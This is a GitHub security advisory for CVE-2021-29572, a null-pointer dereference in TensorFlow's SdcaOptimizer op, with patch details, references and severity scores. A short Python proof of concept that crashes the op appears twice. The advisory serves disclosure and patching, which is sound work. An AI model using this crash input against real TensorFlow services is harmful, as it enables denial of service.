ghsa-5gqf-456p-4836
Vulnerability from github
Impact
The implementation of tf.raw_ops.SdcaOptimizer triggers undefined behavior due to dereferencing a null pointer:
```python import tensorflow as tf
sparse_example_indices = [tf.constant((0), dtype=tf.int64), tf.constant((0), dtype=tf.int64)] sparse_feature_indices = [tf.constant([], shape=[0, 0, 0, 0], dtype=tf.int64), tf.constant((0), dtype=tf.int64)] sparse_feature_values = []
dense_features = [] dense_weights = []
example_weights = tf.constant((0.0), dtype=tf.float32) example_labels = tf.constant((0.0), dtype=tf.float32)
sparse_indices = [tf.constant((0), dtype=tf.int64), tf.constant((0), dtype=tf.int64)] sparse_weights = [tf.constant((0.0), dtype=tf.float32), tf.constant((0.0), dtype=tf.float32)]
example_state_data = tf.constant([0.0, 0.0, 0.0, 0.0], shape=[1, 4], dtype=tf.float32)
tf.raw_ops.SdcaOptimizer( sparse_example_indices=sparse_example_indices, sparse_feature_indices=sparse_feature_indices, sparse_feature_values=sparse_feature_values, dense_features=dense_features, example_weights=example_weights, example_labels=example_labels, sparse_indices=sparse_indices, sparse_weights=sparse_weights, dense_weights=dense_weights, example_state_data=example_state_data, loss_type="logistic_loss", l1=0.0, l2=0.0, num_loss_partitions=1, num_inner_iterations=1, adaptative=False) ```
The implementation does not validate that the user supplied arguments satisfy all constraints expected by the op.
Patches
We have patched the issue in GitHub commit f7cc8755ac6683131fdfa7a8a121f9d7a9dec6fb.
The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.
{
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],
"aliases": [
"CVE-2021-29572"
],
"database_specific": {
"cwe_ids": [
"CWE-476"
],
"github_reviewed": true,
"github_reviewed_at": "2021-05-18T18:48:55Z",
"nvd_published_at": "2021-05-14T20:15:00Z",
"severity": "LOW"
},
"details": "### Impact\nThe implementation of `tf.raw_ops.SdcaOptimizer` triggers undefined behavior due to dereferencing a null pointer:\n\n```python\nimport tensorflow as tf\n\nsparse_example_indices = [tf.constant((0), dtype=tf.int64), tf.constant((0), dtype=tf.int64)]\nsparse_feature_indices = [tf.constant([], shape=[0, 0, 0, 0], dtype=tf.int64), tf.constant((0), dtype=tf.int64)]\nsparse_feature_values = []\n\ndense_features = []\ndense_weights = []\n\nexample_weights = tf.constant((0.0), dtype=tf.float32)\nexample_labels = tf.constant((0.0), dtype=tf.float32)\n\nsparse_indices = [tf.constant((0), dtype=tf.int64), tf.constant((0), dtype=tf.int64)]\nsparse_weights = [tf.constant((0.0), dtype=tf.float32), tf.constant((0.0), dtype=tf.float32)]\n \nexample_state_data = tf.constant([0.0, 0.0, 0.0, 0.0], shape=[1, 4], dtype=tf.float32)\n \ntf.raw_ops.SdcaOptimizer(\n sparse_example_indices=sparse_example_indices,\n sparse_feature_indices=sparse_feature_indices,\n sparse_feature_values=sparse_feature_values, dense_features=dense_features,\n example_weights=example_weights, example_labels=example_labels, \n sparse_indices=sparse_indices, sparse_weights=sparse_weights, \n dense_weights=dense_weights, example_state_data=example_state_data,\n loss_type=\"logistic_loss\", l1=0.0, l2=0.0, num_loss_partitions=1,\n num_inner_iterations=1, adaptative=False)\n```\n\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/60a45c8b6192a4699f2e2709a2645a751d435cc3/tensorflow/core/kernels/sdca_internal.cc) does not validate that the user supplied arguments satisfy all [constraints expected by the op](https://www.tensorflow.org/api_docs/python/tf/raw_ops/SdcaOptimizer).\n\n### Patches\nWe have patched the issue in GitHub commit [f7cc8755ac6683131fdfa7a8a121f9d7a9dec6fb](https://github.com/tensorflow/tensorflow/commit/f7cc8755ac6683131fdfa7a8a121f9d7a9dec6fb).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.",
"id": "GHSA-5gqf-456p-4836",
"modified": "2024-10-31T21:03:55Z",
"published": "2021-05-21T14:25:31Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/tensorflow/tensorflow/security/advisories/GHSA-5gqf-456p-4836"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-29572"
},
{
"type": "WEB",
"url": "https://github.com/tensorflow/tensorflow/commit/f7cc8755ac6683131fdfa7a8a121f9d7a9dec6fb"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-500.yaml"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-698.yaml"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-209.yaml"
},
{
"type": "PACKAGE",
"url": "https://github.com/tensorflow/tensorflow"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Reference binding to nullptr in `SdcaOptimizer`"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.